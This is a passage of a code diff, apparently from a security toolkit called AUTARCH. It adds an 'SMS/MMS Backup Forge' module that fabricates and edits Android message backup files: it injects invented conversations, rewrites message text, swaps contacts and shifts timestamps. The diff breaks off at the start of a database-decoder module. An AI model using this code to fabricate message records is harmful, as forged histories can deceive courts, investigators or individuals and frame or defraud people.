+ 'latest': max(dates), + 'earliest_readable': self._timestamp_to_readable(min(dates)), + 'latest_readable': self._timestamp_to_readable(max(dates)), + } + + sent = 0 + received = 0 + for m in self._messages: + if m.get('msg_kind') == 'sms': + if m.get('type') == 2: + sent += 1 + elif m.get('type') == 1: + received += 1 + elif m.get('msg_kind') == 'mms': + if m.get('msg_box') == 2: + sent += 1 + elif m.get('msg_box') == 1: + received += 1 + + return { + 'total': len(self._messages), + 'sms_count': sms_count, + 'mms_count': mms_count, + 'contacts': list(contacts.values()), + 'date_range': date_range, + 'sent': sent, + 'received': received, + 'backup_set': self._backup_set, + } + + # ── Message Creation ──────────────────────────────────────────────────── + + def add_sms(self, address: str, body: str, msg_type: int = 1, + timestamp: Optional[int] = None, contact_name: str = '(Unknown)', + read: int = 1, locked: int = 0) -> Dict[str, Any]: + """Add a single SMS message. + + Args: + address: Phone number (e.g. +15551234567) + body: Message text + msg_type: 1=received, 2=sent, 3=draft, 4=outbox, 5=failed, 6=queued + timestamp: Epoch milliseconds (defaults to now) + contact_name: Display name for contact + read: 1=read, 0=unread + locked: 0=unlocked, 1=locked + """ + if timestamp is None: + timestamp = int(time.time() * 1000) + + msg = { + 'msg_kind': 'sms', + 'protocol': '0', + 'address': address, + 'date': timestamp, + 'type': msg_type, + 'subject': 'null', + 'body': body, + 'toa': 'null', + 'sc_toa': 'null', + 'service_center': 'null', + 'read': read, + 'status': -1, + 'locked': locked, + 'sub_id': '-1', + 'readable_date': self._timestamp_to_readable(timestamp), + 'contact_name': contact_name, + } + self._messages.append(msg) + return {'ok': True, 'index': len(self._messages) - 1, 'date': timestamp} + + def add_mms(self, address: str, body: str = '', + attachments: Optional[List[Dict[str, str]]] = None, + msg_box: int = 1, timestamp: Optional[int] = None, + contact_name: str = '(Unknown)') -> Dict[str, Any]: + """Add an MMS message with optional attachments. + + Args: + address: Phone number + body: Text body of the MMS + attachments: List of dicts with keys: path (file path), content_type (MIME), + or data (base64 encoded), filename + msg_box: 1=received, 2=sent, 3=draft, 4=outbox + timestamp: Epoch milliseconds + contact_name: Display name + """ + if timestamp is None: + timestamp = int(time.time() * 1000) + if attachments is None: + attachments = [] + + parts: List[Dict[str, str]] = [] + has_media = len(attachments) > 0 + + # SMIL part (required for MMS with attachments) + if has_media: + smil_body = '' + smil_body += '' + smil_body += '' + smil_body += '' + if body: + smil_body += '' + for i, att in enumerate(attachments): + fname = att.get('filename', f'attachment_{i}') + ct = att.get('content_type', 'application/octet-stream') + if ct.startswith('image/'): + smil_body += f'' + elif ct.startswith('audio/'): + smil_body += f'' + parts.append({ + 'seq': '0', 'ct': 'application/smil', 'name': 'null', + 'chset': 'null', 'cd': 'null', 'fn': 'null', + 'cid': '', 'cl': 'smil.xml', + 'ctt_s': 'null', 'ctt_t': 'null', + 'text': smil_body, 'data': 'null', + }) + + # Attachment parts + for i, att in enumerate(attachments): + fname = att.get('filename', f'attachment_{i}') + ct = att.get('content_type', 'application/octet-stream') + data = 'null' + if 'path' in att and os.path.isfile(att['path']): + data = self._encode_attachment(att['path']) + elif 'data' in att: + data = att['data'] + parts.append({ + 'seq': '0', 'ct': ct, 'name': fname, + 'chset': 'null', 'cd': 'null', 'fn': 'null', + 'cid': f'<{fname}>', 'cl': fname, + 'ctt_s': 'null', 'ctt_t': 'null', + 'text': 'null', 'data': data, + }) + + # Text part + if body: + parts.append({ + 'seq': '0', 'ct': 'text/plain', 'name': 'null', + 'chset': '106', 'cd': 'null', 'fn': 'null', + 'cid': 'null', 'cl': 'txt000.txt', + 'ctt_s': 'null', 'ctt_t': 'null', + 'text': body, 'data': 'null', + }) + + text_only = '1' if not has_media else '0' + + # Address records + addrs = [] + if msg_box == 1: + # Received: sender is type 137, self is type 151 + addrs.append({'address': address, 'type': '137', 'charset': '106'}) + addrs.append({'address': 'insert-address-token', 'type': '151', 'charset': '106'}) + else: + # Sent: self is type 137, recipient is type 151 + addrs.append({'address': 'insert-address-token', 'type': '137', 'charset': '106'}) + addrs.append({'address': address, 'type': '151', 'charset': '106'}) + + msg: Dict[str, Any] = { + 'msg_kind': 'mms', + 'date': timestamp, + 'ct_t': 'application/vnd.wap.multipart.related', + 'msg_box': msg_box, + 'address': address, + 'sub': 'null', + 'retr_st': 'null', + 'd_tm': 'null', + 'exp': 'null', + 'locked': 0, + 'm_id': 'null', + 'st': 'null', + 'retr_txt_cs': 'null', + 'retr_txt': 'null', + 'creator': 'null', + 'date_sent': '0', + 'seen': 1, + 'm_size': 'null', + 'rr': '129', + 'sub_cs': 'null', + 'resp_st': 'null', + 'ct_cls': 'null', + 'm_cls': 'personal', + 'd_rpt': '129', + 'v': '18', + '_id': str(len(self._messages) + 1), + 'tr_id': 'null', + 'resp_txt': 'null', + 'ct_l': 'null', + 'm_type': '132', + 'readable_date': self._timestamp_to_readable(timestamp), + 'contact_name': contact_name, + 'pri': '129', + 'sub_id': '-1', + 'text_only': text_only, + 'parts': parts, + 'addrs': addrs, + 'body': body, + } + self._messages.append(msg) + return {'ok': True, 'index': len(self._messages) - 1, 'date': timestamp} + + def add_conversation(self, address: str, contact_name: str, + messages: List[Dict[str, Any]], + start_timestamp: Optional[int] = None) -> Dict[str, Any]: + """Add a full conversation from a list of message dicts. + + Each message dict: {body: str, type: int (1=received, 2=sent), delay_minutes: int} + """ + if start_timestamp is None: + start_timestamp = int(time.time() * 1000) + + current_ts = start_timestamp + added = 0 + for msg in messages: + delay = msg.get('delay_minutes', 0) + current_ts += delay * 60 * 1000 + self.add_sms( + address=address, + body=msg.get('body', ''), + msg_type=msg.get('type', 1), + timestamp=current_ts, + contact_name=contact_name, + read=msg.get('read', 1), + locked=msg.get('locked', 0), + ) + added += 1 + + return { + 'ok': True, + 'added': added, + 'start': start_timestamp, + 'end': current_ts, + } + + def generate_conversation(self, address: str, contact_name: str, + template: str, variables: Optional[Dict[str, str]] = None, + start_timestamp: Optional[int] = None) -> Dict[str, Any]: + """Generate a conversation from a template with variable substitution. + + Args: + address: Phone number + contact_name: Display name + template: Template name (e.g. 'business_meeting', 'casual_chat') + variables: Dict of variable names to values for substitution + start_timestamp: Starting epoch ms timestamp + """ + tmpl = self._get_template(template) + if tmpl is None: + return {'ok': False, 'error': f'Template not found: {template}'} + + if variables is None: + variables = {} + + messages = [] + for msg_tmpl in tmpl.get('messages', []): + body = msg_tmpl['body'] + for key, val in variables.items(): + body = body.replace('{' + key + '}', str(val)) + messages.append({ + 'body': body, + 'type': msg_tmpl.get('type', 1), + 'delay_minutes': msg_tmpl.get('delay_minutes', 0), + }) + + return self.add_conversation(address, contact_name, messages, start_timestamp) + + def bulk_add(self, csv_path: str) -> Dict[str, Any]: + """Import messages from CSV file. + + Expected CSV columns: address, body, type, timestamp, contact_name + """ + path = Path(csv_path) + if not path.exists(): + return {'ok': False, 'error': f'File not found: {csv_path}'} + try: + added = 0 + errors = [] + with open(str(path), 'r', encoding='utf-8', newline='') as f: + reader = csv.DictReader(f) + for row_num, row in enumerate(reader, start=2): + try: + address = row.get('address', '').strip() + body = row.get('body', '').strip() + msg_type = int(row.get('type', '1').strip()) + ts_str = row.get('timestamp', '').strip() + timestamp = int(ts_str) if ts_str else None + contact_name = row.get('contact_name', '(Unknown)').strip() + self.add_sms(address, body, msg_type, timestamp, contact_name) + added += 1 + except Exception as e: + errors.append(f'Row {row_num}: {e}') + result: Dict[str, Any] = {'ok': True, 'added': added} + if errors: + result['errors'] = errors + return result + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Message Modification ──────────────────────────────────────────────── + + def find_messages(self, address: Optional[str] = None, + date_from: Optional[int] = None, + date_to: Optional[int] = None, + keyword: Optional[str] = None) -> List[Dict[str, Any]]: + """Search messages with filters. Returns list of {index, ...msg} dicts.""" + results = [] + for i, msg in enumerate(self._messages): + if address and msg.get('address', '') != address: + continue + msg_date = msg.get('date', 0) + if date_from and msg_date < date_from: + continue + if date_to and msg_date > date_to: + continue + if keyword: + body = msg.get('body', '') + if msg.get('msg_kind') == 'mms' and not body: + for part in msg.get('parts', []): + if part.get('ct') == 'text/plain' and part.get('text', 'null') != 'null': + body = part['text'] + break + if keyword.lower() not in body.lower(): + continue + result = dict(msg) + result['index'] = i + results.append(result) + return results + + def modify_message(self, index: int, new_body: Optional[str] = None, + new_timestamp: Optional[int] = None, + new_contact: Optional[str] = None) -> Dict[str, Any]: + """Modify an existing message by index.""" + if index < 0 or index >= len(self._messages): + return {'ok': False, 'error': f'Invalid index: {index}'} + + msg = self._messages[index] + if new_body is not None: + if msg.get('msg_kind') == 'mms': + # Update text part in MMS + found_text = False + for part in msg.get('parts', []): + if part.get('ct') == 'text/plain': + part['text'] = new_body + found_text = True + break + if not found_text: + msg.setdefault('parts', []).append({ + 'seq': '0', 'ct': 'text/plain', 'name': 'null', + 'chset': '106', 'cd': 'null', 'fn': 'null', + 'cid': 'null', 'cl': 'txt000.txt', + 'ctt_s': 'null', 'ctt_t': 'null', + 'text': new_body, 'data': 'null', + }) + msg['body'] = new_body + else: + msg['body'] = new_body + + if new_timestamp is not None: + msg['date'] = new_timestamp + msg['readable_date'] = self._timestamp_to_readable(new_timestamp) + + if new_contact is not None: + msg['contact_name'] = new_contact + + return {'ok': True, 'index': index} + + def delete_messages(self, indices: List[int]) -> Dict[str, Any]: + """Delete messages by index. Indices are processed in reverse order.""" + valid = [i for i in sorted(set(indices), reverse=True) + if 0 <= i < len(self._messages)] + for i in valid: + self._messages.pop(i) + return {'ok': True, 'deleted': len(valid), 'remaining': len(self._messages)} + + def replace_contact(self, old_address: str, new_address: str, + new_name: Optional[str] = None) -> Dict[str, Any]: + """Change contact address (and optionally name) across all messages.""" + updated = 0 + for msg in self._messages: + if msg.get('address') == old_address: + msg['address'] = new_address + if new_name is not None: + msg['contact_name'] = new_name + updated += 1 + # Also update MMS addr records + for addr in msg.get('addrs', []): + if addr.get('address') == old_address: + addr['address'] = new_address + return {'ok': True, 'updated': updated} + + def shift_timestamps(self, address: Optional[str], offset_minutes: int) -> Dict[str, Any]: + """Shift all timestamps for a contact (or all messages if address is None).""" + offset_ms = offset_minutes * 60 * 1000 + shifted = 0 + for msg in self._messages: + if address is None or msg.get('address') == address: + msg['date'] = msg.get('date', 0) + offset_ms + msg['readable_date'] = self._timestamp_to_readable(msg['date']) + shifted += 1 + return {'ok': True, 'shifted': shifted, 'offset_minutes': offset_minutes} + + # ── Conversation Templates ────────────────────────────────────────────── + + def get_templates(self) -> Dict[str, Any]: + """Return all available conversation templates (built-in + custom).""" + templates = {} + for key, tmpl in BUILTIN_TEMPLATES.items(): + templates[key] = { + 'name': tmpl['name'], + 'description': tmpl['description'], + 'variables': tmpl.get('variables', []), + 'message_count': len(tmpl.get('messages', [])), + 'messages': tmpl.get('messages', []), + 'builtin': True, + } + for key, tmpl in self._custom_templates.items(): + templates[key] = { + 'name': tmpl.get('name', key), + 'description': tmpl.get('description', ''), + 'variables': tmpl.get('variables', []), + 'message_count': len(tmpl.get('messages', [])), + 'messages': tmpl.get('messages', []), + 'builtin': False, + } + return templates + + def save_custom_template(self, key: str, template: Dict[str, Any]) -> Dict[str, Any]: + """Save a custom template.""" + self._custom_templates[key] = template + self._save_custom_templates() + return {'ok': True, 'key': key} + + def delete_custom_template(self, key: str) -> Dict[str, Any]: + """Delete a custom template.""" + if key in self._custom_templates: + del self._custom_templates[key] + self._save_custom_templates() + return {'ok': True} + return {'ok': False, 'error': f'Template not found: {key}'} + + def _get_template(self, name: str) -> Optional[Dict[str, Any]]: + """Look up a template by name from built-in and custom templates.""" + if name in BUILTIN_TEMPLATES: + return BUILTIN_TEMPLATES[name] + if name in self._custom_templates: + return self._custom_templates[name] + return None + + def _load_custom_templates(self): + """Load custom templates from disk.""" + tmpl_file = self._data_dir / 'custom_templates.json' + if tmpl_file.exists(): + try: + self._custom_templates = json.loads(tmpl_file.read_text('utf-8')) + except Exception: + self._custom_templates = {} + + def _save_custom_templates(self): + """Persist custom templates to disk.""" + tmpl_file = self._data_dir / 'custom_templates.json' + tmpl_file.write_text(json.dumps(self._custom_templates, indent=2), encoding='utf-8') + + # ── Export / Import ───────────────────────────────────────────────────── + + def export_xml(self, path: str) -> Dict[str, Any]: + """Export current messages to SMS Backup & Restore XML format.""" + return self.save_backup(path) + + def import_xml(self, path: str) -> Dict[str, Any]: + """Import messages from an XML backup file (appends to current messages).""" + old_messages = list(self._messages) + old_backup_set = self._backup_set + old_backup_date = self._backup_date + result = self.load_backup(path) + if result.get('ok'): + new_messages = list(self._messages) + self._messages = old_messages + new_messages + self._backup_set = old_backup_set + self._backup_date = old_backup_date + result['added'] = len(new_messages) + result['total'] = len(self._messages) + else: + self._messages = old_messages + self._backup_set = old_backup_set + self._backup_date = old_backup_date + return result + + def export_csv(self, path: str) -> Dict[str, Any]: + """Export current messages to CSV format.""" + try: + out = Path(path) + out.parent.mkdir(parents=True, exist_ok=True) + with open(str(out), 'w', encoding='utf-8', newline='') as f: + writer = csv.writer(f) + writer.writerow(['address', 'body', 'type', 'timestamp', + 'contact_name', 'readable_date', 'msg_kind']) + for msg in self._messages: + body = msg.get('body', '') + if msg.get('msg_kind') == 'mms' and not body: + for part in msg.get('parts', []): + if part.get('ct') == 'text/plain' and part.get('text', 'null') != 'null': + body = part['text'] + break + msg_type = msg.get('type', msg.get('msg_box', 1)) + writer.writerow([ + msg.get('address', ''), + body, + msg_type, + msg.get('date', 0), + msg.get('contact_name', ''), + msg.get('readable_date', ''), + msg.get('msg_kind', 'sms'), + ]) + return { + 'ok': True, + 'path': str(out), + 'count': len(self._messages), + 'size': out.stat().st_size, + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + def import_csv(self, path: str) -> Dict[str, Any]: + """Import messages from CSV (same format as export_csv).""" + return self.bulk_add(path) + + def validate_backup(self, path: str) -> Dict[str, Any]: + """Validate XML structure matches SMS Backup & Restore format.""" + p = Path(path) + if not p.exists(): + return {'ok': False, 'valid': False, 'error': 'File not found'} + + issues: List[str] = [] + try: + tree = ET.parse(str(p)) + root = tree.getroot() + + if root.tag != 'smses': + issues.append(f'Root element is <{root.tag}>, expected ') + + if not root.get('count'): + issues.append('Missing count attribute on ') + else: + declared = int(root.get('count', '0')) + actual = len(list(root)) + if declared != actual: + issues.append(f'Count mismatch: declared {declared}, actual {actual}') + + if not root.get('backup_set'): + issues.append('Missing backup_set attribute') + if not root.get('backup_date'): + issues.append('Missing backup_date attribute') + + sms_req = ['address', 'date', 'type', 'body'] + mms_req = ['date', 'msg_box', 'address'] + + for i, elem in enumerate(root): + if elem.tag == 'sms': + for attr in sms_req: + if elem.get(attr) is None: + issues.append(f'SMS #{i}: missing required attribute "{attr}"') + elif elem.tag == 'mms': + for attr in mms_req: + if elem.get(attr) is None: + issues.append(f'MMS #{i}: missing required attribute "{attr}"') + parts = elem.find('parts') + if parts is None: + issues.append(f'MMS #{i}: missing element') + addrs = elem.find('addrs') + if addrs is None: + issues.append(f'MMS #{i}: missing element') + else: + issues.append(f'Element #{i}: unexpected tag <{elem.tag}>') + + return { + 'ok': True, + 'valid': len(issues) == 0, + 'issues': issues, + 'element_count': len(list(root)), + } + + except ET.ParseError as e: + return {'ok': False, 'valid': False, 'error': f'XML parse error: {e}'} + except Exception as e: + return {'ok': False, 'valid': False, 'error': str(e)} + + # ── XML Builder ───────────────────────────────────────────────────────── + + def _build_xml(self) -> str: + """Build the full XML string in SMS Backup & Restore format.""" + lines = [] + lines.append("") + lines.append('') + + count = len(self._messages) + backup_date = str(self._backup_date) + lines.append( + f'' + ) + + for msg in self._messages: + if msg.get('msg_kind') == 'mms': + lines.append(self._build_mms_element(msg)) + else: + lines.append(self._build_sms_element(msg)) + + lines.append('') + return '\n'.join(lines) + + def _build_sms_element(self, msg: Dict[str, Any]) -> str: + """Build a single XML element.""" + attrs = { + 'protocol': str(msg.get('protocol', '0')), + 'address': str(msg.get('address', '')), + 'date': str(msg.get('date', 0)), + 'type': str(msg.get('type', 1)), + 'subject': str(msg.get('subject', 'null')), + 'body': str(msg.get('body', '')), + 'toa': str(msg.get('toa', 'null')), + 'sc_toa': str(msg.get('sc_toa', 'null')), + 'service_center': str(msg.get('service_center', 'null')), + 'read': str(msg.get('read', 1)), + 'status': str(msg.get('status', -1)), + 'locked': str(msg.get('locked', 0)), + 'sub_id': str(msg.get('sub_id', '-1')), + 'readable_date': str(msg.get('readable_date', '')), + 'contact_name': str(msg.get('contact_name', '(Unknown)')), + } + attr_str = ' '.join(f'{k}="{self._escape_xml(v)}"' for k, v in attrs.items()) + return f' ' + + def _build_mms_element(self, msg: Dict[str, Any]) -> str: + """Build a single ... XML element.""" + mms_attrs = { + 'date': str(msg.get('date', 0)), + 'ct_t': str(msg.get('ct_t', 'application/vnd.wap.multipart.related')), + 'msg_box': str(msg.get('msg_box', 1)), + 'address': str(msg.get('address', '')), + 'sub': str(msg.get('sub', 'null')), + 'retr_st': str(msg.get('retr_st', 'null')), + 'd_tm': str(msg.get('d_tm', 'null')), + 'exp': str(msg.get('exp', 'null')), + 'locked': str(msg.get('locked', 0)), + 'm_id': str(msg.get('m_id', 'null')), + 'st': str(msg.get('st', 'null')), + 'retr_txt_cs': str(msg.get('retr_txt_cs', 'null')), + 'retr_txt': str(msg.get('retr_txt', 'null')), + 'creator': str(msg.get('creator', 'null')), + 'date_sent': str(msg.get('date_sent', '0')), + 'seen': str(msg.get('seen', 1)), + 'm_size': str(msg.get('m_size', 'null')), + 'rr': str(msg.get('rr', '129')), + 'sub_cs': str(msg.get('sub_cs', 'null')), + 'resp_st': str(msg.get('resp_st', 'null')), + 'ct_cls': str(msg.get('ct_cls', 'null')), + 'm_cls': str(msg.get('m_cls', 'personal')), + 'd_rpt': str(msg.get('d_rpt', '129')), + 'v': str(msg.get('v', '18')), + '_id': str(msg.get('_id', '1')), + 'tr_id': str(msg.get('tr_id', 'null')), + 'resp_txt': str(msg.get('resp_txt', 'null')), + 'ct_l': str(msg.get('ct_l', 'null')), + 'm_type': str(msg.get('m_type', '132')), + 'readable_date': str(msg.get('readable_date', '')), + 'contact_name': str(msg.get('contact_name', '(Unknown)')), + 'pri': str(msg.get('pri', '129')), + 'sub_id': str(msg.get('sub_id', '-1')), + 'text_only': str(msg.get('text_only', '0')), + } + attr_str = ' '.join(f'{k}="{self._escape_xml(v)}"' for k, v in mms_attrs.items()) + + lines = [f' '] + + # Parts + lines.append(' ') + for part in msg.get('parts', []): + part_attrs = { + 'seq': str(part.get('seq', '0')), + 'ct': str(part.get('ct', 'text/plain')), + 'name': str(part.get('name', 'null')), + 'chset': str(part.get('chset', 'null')), + 'cd': str(part.get('cd', 'null')), + 'fn': str(part.get('fn', 'null')), + 'cid': str(part.get('cid', 'null')), + 'cl': str(part.get('cl', 'null')), + 'ctt_s': str(part.get('ctt_s', 'null')), + 'ctt_t': str(part.get('ctt_t', 'null')), + 'text': str(part.get('text', 'null')), + 'data': str(part.get('data', 'null')), + } + pa_str = ' '.join(f'{k}="{self._escape_xml(v)}"' for k, v in part_attrs.items()) + lines.append(f' ') + lines.append(' ') + + # Addrs + lines.append(' ') + for addr in msg.get('addrs', []): + addr_attrs = { + 'address': str(addr.get('address', '')), + 'type': str(addr.get('type', '137')), + 'charset': str(addr.get('charset', '106')), + } + aa_str = ' '.join(f'{k}="{self._escape_xml(v)}"' for k, v in addr_attrs.items()) + lines.append(f' ') + lines.append(' ') + + lines.append(' ') + return '\n'.join(lines) + + # ── Utility ───────────────────────────────────────────────────────────── + + @staticmethod + def _generate_uuid() -> str: + """Generate a backup_set UUID.""" + return str(uuid.uuid4()) + + @staticmethod + def _timestamp_to_readable(ms_timestamp: int) -> str: + """Convert epoch milliseconds to readable date string (SMS Backup & Restore format).""" + try: + dt = datetime.fromtimestamp(ms_timestamp / 1000.0) + # Format: "Mar 1, 2023 12:45:21 PM" + if os.name == 'nt': + return dt.strftime('%b %#d, %Y %#I:%M:%S %p') + return dt.strftime('%b %-d, %Y %-I:%M:%S %p') + except (ValueError, OSError, OverflowError): + return '' + + @staticmethod + def _readable_to_timestamp(readable: str) -> Optional[int]: + """Convert readable date string to epoch milliseconds.""" + formats = [ + '%b %d, %Y %I:%M:%S %p', + '%b %d, %Y %H:%M:%S', + '%Y-%m-%d %H:%M:%S', + '%Y-%m-%dT%H:%M:%S', + '%m/%d/%Y %I:%M:%S %p', + '%m/%d/%Y %H:%M:%S', + ] + for fmt in formats: + try: + dt = datetime.strptime(readable.strip(), fmt) + return int(dt.timestamp() * 1000) + except ValueError: + continue + return None + + @staticmethod + def _escape_xml(text: str) -> str: + """Proper XML attribute escaping.""" + return html.escape(str(text), quote=True) + + @staticmethod + def _encode_attachment(file_path: str) -> str: + """Base64 encode a file for MMS attachment data.""" + with open(file_path, 'rb') as f: + return base64.b64encode(f.read()).decode('ascii') + + def get_messages(self) -> List[Dict[str, Any]]: + """Return a copy of all messages with indices.""" + result = [] + for i, msg in enumerate(self._messages): + m = dict(msg) + m['index'] = i + result.append(m) + return result + + def clear_messages(self): + """Clear all messages from the working set.""" + self._messages = [] + self._backup_set = self._generate_uuid() + self._backup_date = int(time.time() * 1000) + + def get_status(self) -> Dict[str, Any]: + """Module status information.""" + return { + 'ok': True, + 'module': 'sms_forge', + 'version': VERSION, + 'description': DESCRIPTION, + 'message_count': len(self._messages), + 'backup_set': self._backup_set, + 'data_dir': str(self._data_dir), + 'custom_templates': len(self._custom_templates), + } + + def run(self): + """CLI interactive menu for the SMS Forge module.""" + while True: + print("\n" + "=" * 60) + print(" SMS/MMS Backup Forge") + print("=" * 60) + print(f" Messages loaded: {len(self._messages)}") + print() + print(" 1. Create new backup") + print(" 2. Load existing backup") + print(" 3. Add SMS message") + print(" 4. Add MMS message") + print(" 5. Add conversation") + print(" 6. Generate from template") + print(" 7. Find messages") + print(" 8. Modify message") + print(" 9. Delete messages") + print(" 10. Replace contact") + print(" 11. Shift timestamps") + print(" 12. Export XML") + print(" 13. Export CSV") + print(" 14. Import CSV (bulk)") + print(" 15. Merge backups") + print(" 16. Validate backup") + print(" 17. View stats") + print(" 18. List templates") + print(" 0. Exit") + print() + + try: + choice = input(" Select: ").strip() + except (EOFError, KeyboardInterrupt): + break + + if choice == '0': + break + elif choice == '1': + self._cli_create_backup() + elif choice == '2': + self._cli_load_backup() + elif choice == '3': + self._cli_add_sms() + elif choice == '4': + self._cli_add_mms() + elif choice == '5': + self._cli_add_conversation() + elif choice == '6': + self._cli_generate_template() + elif choice == '7': + self._cli_find_messages() + elif choice == '8': + self._cli_modify_message() + elif choice == '9': + self._cli_delete_messages() + elif choice == '10': + self._cli_replace_contact() + elif choice == '11': + self._cli_shift_timestamps() + elif choice == '12': + self._cli_export_xml() + elif choice == '13': + self._cli_export_csv() + elif choice == '14': + self._cli_import_csv() + elif choice == '15': + self._cli_merge_backups() + elif choice == '16': + self._cli_validate() + elif choice == '17': + self._cli_stats() + elif choice == '18': + self._cli_list_templates() + else: + print(" Invalid selection.") + + # ── CLI Helpers ───────────────────────────────────────────────────────── + + def _cli_input(self, prompt: str, default: str = '') -> str: + """Read input with optional default.""" + suffix = f' [{default}]' if default else '' + try: + val = input(f' {prompt}{suffix}: ').strip() + return val if val else default + except (EOFError, KeyboardInterrupt): + return default + + def _cli_create_backup(self): + path = self._cli_input('Output path', str(self._data_dir / 'backup.xml')) + result = self.save_backup(path) + if result.get('ok'): + print(f" Backup created: {result['path']} ({result['count']} messages)") + else: + print(f" Error: {result.get('error')}") + + def _cli_load_backup(self): + path = self._cli_input('XML file path') + if not path: + print(" No path provided.") + return + result = self.load_backup(path) + if result.get('ok'): + print(f" Loaded {result['count']} messages") + else: + print(f" Error: {result.get('error')}") + + def _cli_add_sms(self): + address = self._cli_input('Phone number (e.g. +15551234567)') + body = self._cli_input('Message body') + type_str = self._cli_input('Type (1=received, 2=sent)', '1') + contact = self._cli_input('Contact name', '(Unknown)') + result = self.add_sms(address, body, int(type_str), contact_name=contact) + print(f" Added SMS at index {result['index']}") + + def _cli_add_mms(self): + address = self._cli_input('Phone number') + body = self._cli_input('Text body') + box_str = self._cli_input('Msg box (1=received, 2=sent)', '1') + contact = self._cli_input('Contact name', '(Unknown)') + att_path = self._cli_input('Attachment file path (blank for none)') + attachments = [] + if att_path and os.path.isfile(att_path): + ct = self._cli_input('Content type', 'image/jpeg') + attachments.append({ + 'path': att_path, + 'content_type': ct, + 'filename': os.path.basename(att_path), + }) + result = self.add_mms(address, body, attachments, int(box_str), contact_name=contact) + print(f" Added MMS at index {result['index']}") + + def _cli_add_conversation(self): + address = self._cli_input('Phone number') + contact = self._cli_input('Contact name', '(Unknown)') + print(" Enter messages (empty body to finish):") + messages = [] + while True: + body = self._cli_input(f' Message {len(messages) + 1} body') + if not body: + break + type_str = self._cli_input(' Type (1=received, 2=sent)', '1') + delay_str = self._cli_input(' Delay (minutes from previous)', '5') + messages.append({ + 'body': body, + 'type': int(type_str), + 'delay_minutes': int(delay_str), + }) + if messages: + result = self.add_conversation(address, contact, messages) + print(f" Added {result['added']} messages") + else: + print(" No messages to add.") + + def _cli_generate_template(self): + templates = self.get_templates() + print(" Available templates:") + for key, tmpl in templates.items(): + print(f" {key}: {tmpl['name']} -- {tmpl['description']}") + name = self._cli_input('Template name') + if name not in templates: + print(" Template not found.") + return + address = self._cli_input('Phone number') + contact = self._cli_input('Contact name') + variables = {} + tmpl = templates[name] + for var in tmpl.get('variables', []): + val = self._cli_input(f' {var}') + variables[var] = val + result = self.generate_conversation(address, contact, name, variables) + if result.get('ok'): + print(f" Generated {result.get('added', 0)} messages") + else: + print(f" Error: {result.get('error')}") + + def _cli_find_messages(self): + address = self._cli_input('Filter by address (blank for all)') + keyword = self._cli_input('Filter by keyword (blank for all)') + results = self.find_messages( + address=address if address else None, + keyword=keyword if keyword else None, + ) + print(f" Found {len(results)} messages:") + for msg in results[:20]: + direction = 'IN' if msg.get('type', msg.get('msg_box', 1)) == 1 else 'OUT' + body = msg.get('body', '')[:60] + print(f" [{msg['index']}] {direction} {msg.get('address', '')}: {body}") + if len(results) > 20: + print(f" ... and {len(results) - 20} more") + + def _cli_modify_message(self): + idx_str = self._cli_input('Message index') + if not idx_str: + return + new_body = self._cli_input('New body (blank to skip)') + new_contact = self._cli_input('New contact name (blank to skip)') + result = self.modify_message( + int(idx_str), + new_body=new_body if new_body else None, + new_contact=new_contact if new_contact else None, + ) + if result.get('ok'): + print(" Message modified.") + else: + print(f" Error: {result.get('error')}") + + def _cli_delete_messages(self): + idx_str = self._cli_input('Message indices (comma-separated)') + if not idx_str: + return + indices = [int(x.strip()) for x in idx_str.split(',') if x.strip().isdigit()] + result = self.delete_messages(indices) + print(f" Deleted {result['deleted']} messages, {result['remaining']} remaining.") + + def _cli_replace_contact(self): + old = self._cli_input('Old address') + new = self._cli_input('New address') + name = self._cli_input('New contact name (blank to keep)') + result = self.replace_contact(old, new, name if name else None) + print(f" Updated {result['updated']} messages.") + + def _cli_shift_timestamps(self): + address = self._cli_input('Address (blank for all)') + offset = self._cli_input('Offset in minutes (negative to go back)') + result = self.shift_timestamps( + address if address else None, + int(offset), + ) + print(f" Shifted {result['shifted']} messages by {result['offset_minutes']} minutes.") + + def _cli_export_xml(self): + path = self._cli_input('Output path', str(self._data_dir / 'export.xml')) + result = self.export_xml(path) + if result.get('ok'): + print(f" Exported to {result['path']} ({result['count']} messages, {result['size']} bytes)") + else: + print(f" Error: {result.get('error')}") + + def _cli_export_csv(self): + path = self._cli_input('Output path', str(self._data_dir / 'export.csv')) + result = self.export_csv(path) + if result.get('ok'): + print(f" Exported to {result['path']} ({result['count']} messages)") + else: + print(f" Error: {result.get('error')}") + + def _cli_import_csv(self): + path = self._cli_input('CSV file path') + if not path: + return + result = self.bulk_add(path) + if result.get('ok'): + print(f" Imported {result['added']} messages") + if result.get('errors'): + for err in result['errors'][:5]: + print(f" Warning: {err}") + else: + print(f" Error: {result.get('error')}") + + def _cli_merge_backups(self): + paths_str = self._cli_input('Backup file paths (comma-separated)') + if not paths_str: + return + paths = [p.strip() for p in paths_str.split(',') if p.strip()] + result = self.merge_backups(paths) + if result.get('ok'): + print(f" Merged: {result['total']} total messages ({result['added']} new)") + if result.get('errors'): + for err in result['errors']: + print(f" Error: {err}") + + def _cli_validate(self): + path = self._cli_input('XML file path') + if not path: + return + result = self.validate_backup(path) + if result.get('valid'): + print(f" Valid backup ({result['element_count']} elements)") + else: + print(" Invalid backup:") + for issue in result.get('issues', []): + print(f" - {issue}") + if result.get('error'): + print(f" Error: {result['error']}") + + def _cli_stats(self): + stats = self.get_backup_stats() + print(f" Total messages: {stats['total']}") + print(f" SMS: {stats['sms_count']}, MMS: {stats['mms_count']}") + print(f" Sent: {stats['sent']}, Received: {stats['received']}") + print(f" Contacts: {len(stats['contacts'])}") + if stats.get('date_range'): + dr = stats['date_range'] + print(f" Date range: {dr['earliest_readable']} -- {dr['latest_readable']}") + for c in stats.get('contacts', [])[:10]: + print(f" {c['address']} ({c['name']}): {c['count']} messages") + + def _cli_list_templates(self): + templates = self.get_templates() + for key, tmpl in templates.items(): + tag = '[builtin]' if tmpl.get('builtin') else '[custom]' + print(f" {key} {tag}: {tmpl['name']}") + print(f" {tmpl['description']}") + print(f" Messages: {tmpl['message_count']}, Variables: {', '.join(tmpl.get('variables', []))}") + print() diff --git a/modules/snoop_decoder.py b/modules/snoop_decoder.py new file mode 100644 index 0000000..0ece6e2 --- /dev/null +++ b/modules/snoop_decoder.py @@ -0,0 +1,400 @@ +""" +AUTARCH Snoop Database Decoder Module +Decrypts and imports Snoop Project databases into AUTARCH +""" + +import base64 +import json +import os +import sys +from pathlib import Path + +# Add parent directory to path for imports +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.banner import 